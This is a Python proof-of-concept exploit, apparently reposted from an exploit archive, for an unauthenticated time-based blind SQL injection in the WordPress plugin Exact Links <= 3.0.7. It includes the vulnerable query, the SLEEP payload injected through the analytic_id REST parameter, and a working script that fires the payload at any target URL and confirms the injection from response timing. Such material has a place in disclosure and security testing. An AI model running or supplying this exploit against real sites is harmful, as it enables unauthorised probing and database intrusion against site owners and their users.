Share
## https://sploitus.com/exploit?id=PACKETSTORM:226423
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Exact Links (URL Shortener) <= 3.0.7 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/exact-links/
    # Software Link: https://downloads.wordpress.org/plugin/exact-links.3.0.7.zip
    # Version: 3.0.7 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-10738
    r"""
    Exact Links <= 3.0.7 exposes GET /wp-json/exactlinks/v2/links/<id>/get_analytics whose policy
    (app/Http/Policies/AdminPolicy.php:21) `return true;` (the capability check below it is dead code) โ€”
    so the route is unauthenticated. AnalyticsController reads $request->get('analytic_id')
    (app/Models/LinkAnalytics.php:23) and concatenates it raw (no prepare/intval) into several queries,
    e.g. LinkAnalytics.php:150:
    
        "SELECT $name, COUNT(link_id) as clicks FROM {$table}
         WHERE (link_id = $analyticId) AND (conversion_text IS NULL) $dateWise GROUP BY $name"
    
    `analytic_id` is numeric/unquoted context -> SQL injection with no quote needed. Because the value is
    reused across ~11 analytics sub-queries per request, one injected SLEEP(1) delays the response ~11s.
    
    Payload: 0) OR SLEEP(1)-- -
    
    Prior state: at least one row in wp_exactlinks_analytics (a live shortener always has click rows).
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, link_id, seconds):
        q = "analytic_id=" + urllib.parse.quote("0) OR SLEEP(%d)-- -" % seconds)
        t = time.time()
        try:
            requests.get(base + "/wp-json/exactlinks/v2/links/%s/get_analytics?%s" % (link_id, q),
                         verify=False, timeout=120)
        except requests.exceptions.ReadTimeout:
            return 120.0
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--link-id", default="1")
        ap.add_argument("--sleep", type=int, default=1)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        t0 = probe(base, args.link_id, 0)
        t1 = probe(base, args.link_id, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t1:.2f}s")
        if (t1 - t0) >= args.sleep - 0.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP delayed the "
                  f"response by {t1 - t0:.2f}s (analytic_id param; reused across many sub-queries).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())